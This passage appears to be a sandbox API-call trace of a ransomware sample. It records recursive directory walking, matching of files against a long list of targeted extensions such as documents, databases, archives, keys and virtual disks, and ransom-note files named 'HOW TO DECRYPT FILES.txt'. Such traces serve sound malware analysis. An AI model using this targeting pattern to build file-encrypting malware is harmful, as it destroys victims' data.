(lpString="*.png") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.php") returned 0 [0092.087] lstrlenA (lpString="*.php") returned 5 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.cs") returned 0 [0092.087] lstrlenA (lpString="*.cs") returned 4 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.cpp") returned 0 [0092.087] lstrlenA (lpString="*.cpp") returned 5 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.rar") returned 0 [0092.087] lstrlenA (lpString="*.rar") returned 5 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.zip") returned 0 [0092.087] lstrlenA (lpString="*.zip") returned 5 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.html") returned 0 [0092.087] lstrlenA (lpString="*.html") returned 6 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.htm") returned 0 [0092.087] lstrlenA (lpString="*.htm") returned 5 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.xlsx") returned 0 [0092.087] lstrlenA (lpString="*.xlsx") returned 6 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.xls") returned 0 [0092.087] lstrlenA (lpString="*.xls") returned 5 [0092.087] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mp4") returned 0 [0092.088] lstrlenA (lpString="*.mp4") returned 5 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.ppt") returned 0 [0092.088] lstrlenA (lpString="*.ppt") returned 5 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.pptx") returned 0 [0092.088] lstrlenA (lpString="*.pptx") returned 6 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.doc") returned 0 [0092.088] lstrlenA (lpString="*.doc") returned 5 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.dot") returned 0 [0092.088] lstrlenA (lpString="*.dot") returned 5 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.docx") returned 0 [0092.088] lstrlenA (lpString="*.docx") returned 6 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.7z") returned 0 [0092.088] lstrlenA (lpString="*.7z") returned 4 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.tar") returned 0 [0092.088] lstrlenA (lpString="*.tar") returned 5 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.bz2") returned 0 [0092.088] lstrlenA (lpString="*.bz2") returned 5 [0092.088] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.gz") returned 0 [0092.089] lstrlenA (lpString="*.gz") returned 4 [0092.089] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mkv") returned 0 [0092.089] lstrlenA (lpString="*.mkv") returned 5 [0092.089] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.eml") returned 0 [0092.089] lstrlenA (lpString="*.eml") returned 5 [0092.089] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.msg") returned 0 [0092.090] lstrlenA (lpString="*.msg") returned 5 [0092.090] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.edb") returned 0 [0092.090] lstrlenA (lpString="*.edb") returned 5 [0092.090] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.accdb") returned 0 [0092.090] lstrlenA (lpString="*.accdb") returned 7 [0092.090] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.odb") returned 0 [0092.090] lstrlenA (lpString="*.odb") returned 5 [0092.090] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.java") returned 0 [0092.090] lstrlenA (lpString="*.java") returned 6 [0092.090] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.asm") returned 0 [0092.091] lstrlenA (lpString="*.asm") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.pfx") returned 0 [0092.091] lstrlenA (lpString="*.pfx") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.pem") returned 0 [0092.091] lstrlenA (lpString="*.pem") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.p12") returned 0 [0092.091] lstrlenA (lpString="*.p12") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.gpg") returned 0 [0092.091] lstrlenA (lpString="*.gpg") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.vsd") returned 0 [0092.091] lstrlenA (lpString="*.vsd") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.odg") returned 0 [0092.091] lstrlenA (lpString="*.odg") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.raw") returned 0 [0092.091] lstrlenA (lpString="*.raw") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.nef") returned 0 [0092.091] lstrlenA (lpString="*.nef") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.svg") returned 0 [0092.091] lstrlenA (lpString="*.svg") returned 5 [0092.091] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.psd") returned 0 [0092.092] lstrlenA (lpString="*.psd") returned 5 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.vmx") returned 0 [0092.092] lstrlenA (lpString="*.vmx") returned 5 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.vmdk") returned 0 [0092.092] lstrlenA (lpString="*.vmdk") returned 6 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.vdi") returned 0 [0092.092] lstrlenA (lpString="*.vdi") returned 5 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.lay6") returned 0 [0092.092] lstrlenA (lpString="*.lay6") returned 6 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mpeg") returned 0 [0092.092] lstrlenA (lpString="*.mpeg") returned 6 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.djvu") returned 0 [0092.092] lstrlenA (lpString="*.djvu") returned 6 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.tiff") returned 0 [0092.092] lstrlenA (lpString="*.tiff") returned 6 [0092.092] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.backup") returned 0 [0092.092] lstrlenA (lpString="*.backup") returned 8 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.pdf") returned 0 [0092.093] lstrlenA (lpString="*.pdf") returned 5 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.cert") returned 0 [0092.093] lstrlenA (lpString="*.cert") returned 6 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.docm") returned 0 [0092.093] lstrlenA (lpString="*.docm") returned 6 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.xlsm") returned 0 [0092.093] lstrlenA (lpString="*.xlsm") returned 6 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.dwg") returned 0 [0092.093] lstrlenA (lpString="*.dwg") returned 5 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.nd") returned 0 [0092.093] lstrlenA (lpString="*.nd") returned 4 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.tlg") returned 0 [0092.093] lstrlenA (lpString="*.tlg") returned 5 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.lgb") returned 0 [0092.093] lstrlenA (lpString="*.lgb") returned 5 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mov") returned 0 [0092.093] lstrlenA (lpString="*.mov") returned 5 [0092.093] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.xdw") returned 0 [0092.094] lstrlenA (lpString="*.xdw") returned 5 [0092.094] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.ods") returned 0 [0092.094] lstrlenA (lpString="*.ods") returned 5 [0092.094] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.wav") returned 0 [0092.094] lstrlenA (lpString="*.wav") returned 5 [0092.094] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mp3") returned 0 [0092.094] lstrlenA (lpString="*.mp3") returned 5 [0092.094] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.aiff") returned 0 [0092.094] lstrlenA (lpString="*.aiff") returned 6 [0092.094] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.flac") returned 0 [0092.094] lstrlenA (lpString="*.flac") returned 6 [0092.094] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.m4a") returned 0 [0092.094] lstrlenA (lpString="*.m4a") returned 5 [0092.094] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.csv") returned 0 [0092.094] lstrlenA (lpString="*.csv") returned 5 [0092.094] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.094] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.095] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.095] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.095] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 0 [0092.095] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0092.095] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0092.095] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.095] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0 [0092.095] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.095] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0092.095] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.096] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="ARM", cAlternateFileName="")) returned 1 [0092.096] lstrcmpA (lpString1=".", lpString2="ARM") returned -1 [0092.096] lstrcmpA (lpString1="..", lpString2="ARM") returned -1 [0092.096] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\*.*") returned="*.*" [0092.096] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\", lpString2="ARM" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0092.096] lstrlenA (lpString="C:\\Users\\All Users\\Adobe\\ARM") returned 28 [0092.096] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300031, dwReserved1=0x30002e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.096] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.096] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x300000, cFileName="..", cAlternateFileName="")) returned 1 [0092.096] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.096] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.096] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1 [0092.097] lstrcmpA (lpString1=".", lpString2="Reader_10.0.0") returned -1 [0092.097] lstrcmpA (lpString1="..", lpString2="Reader_10.0.0") returned -1 [0092.097] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\ARM\\*.*") returned="*.*" [0092.097] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\", lpString2="Reader_10.0.0" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" [0092.097] lstrlenA (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned 42 [0092.097] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.097] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.097] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.097] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.097] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.097] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1 [0092.097] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdbeRdrSecUpd10111.msp") returned 1 [0092.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdbeRdrSecUpd10111.msp") returned 1 [0092.098] lstrcmpiA (lpString1="", lpString2="AdbeRdrSecUpd10111.msp") returned -1 [0092.098] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*.*") returned="*.*" [0092.098] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" [0092.098] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" | out: pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="" [0092.098] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt" [0092.098] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\how to decrypt files.txt")) returned 0x20 [0092.098] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpString2="AdbeRdrSecUpd10111.msp" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" [0092.098] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.ems") returned 0 [0092.098] lstrlenA (lpString="*.ems") returned 5 [0092.098] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.db") returned 0 [0092.098] lstrlenA (lpString="*.db") returned 4 [0092.099] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.dbf") returned 0 [0092.099] lstrlenA (lpString="*.dbf") returned 5 [0092.099] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.myox") returned 0 [0092.099] lstrlenA (lpString="*.myox") returned 6 [0092.099] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.myo") returned 0 [0092.099] lstrlenA (lpString="*.myo") returned 5 [0092.099] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qbw") returned 0 [0092.099] lstrlenA (lpString="*.qbw") returned 5 [0092.099] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qbb") returned 0 [0092.099] lstrlenA (lpString="*.qbb") returned 5 [0092.099] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qbm") returned 0 [0092.099] lstrlenA (lpString="*.qbm") returned 5 [0092.100] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qbo") returned 0 [0092.100] lstrlenA (lpString="*.qbo") returned 5 [0092.100] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qbx") returned 0 [0092.100] lstrlenA (lpString="*.qbx") returned 5 [0092.100] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qba") returned 0 [0092.100] lstrlenA (lpString="*.qba") returned 5 [0092.100] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qby") returned 0 [0092.100] lstrlenA (lpString="*.qby") returned 5 [0092.100] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qbj") returned 0 [0092.100] lstrlenA (lpString="*.qbj") returned 5 [0092.100] PathMatchSpecA (pszFile="C:\\Users\\All 